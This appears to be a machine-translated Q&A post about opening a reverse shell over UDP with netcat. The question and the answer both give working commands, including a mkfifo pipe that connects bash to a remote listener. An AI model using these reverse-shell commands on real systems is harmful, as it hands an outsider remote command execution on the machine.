我想使用netcat通过UDP获得反向shell。 Netcat默认通过TCP发送流量,因此为了通过UDP发送,我运行-u
选项,如下所示:
主持人1:
nc.traditional -l -p 4444 -v -u
主持人2:
nc.traditional localhost 4444 -e /bin/bash -u
但是当我键入bash命令时,我没有得到输出。那是为什么?
答案 0 :(得分:1)
这有几个问题:
localhost
。这是一个特殊的主机名,引用当前主机,而不是主机1. bash
逐个字符地读取输入,这对于非流数据包数据不起作用。您可以使用流连接nc
和bash
,然后发送即时数据包,以便主机1知道您输入的命令的发送位置:
主机1:
nc.traditional -l -p 4444 -v -u
主持人2:
mkfifo fifo
nc.traditional -u host1 4444 < fifo |
{
echo "Hi"
bash
} > fifo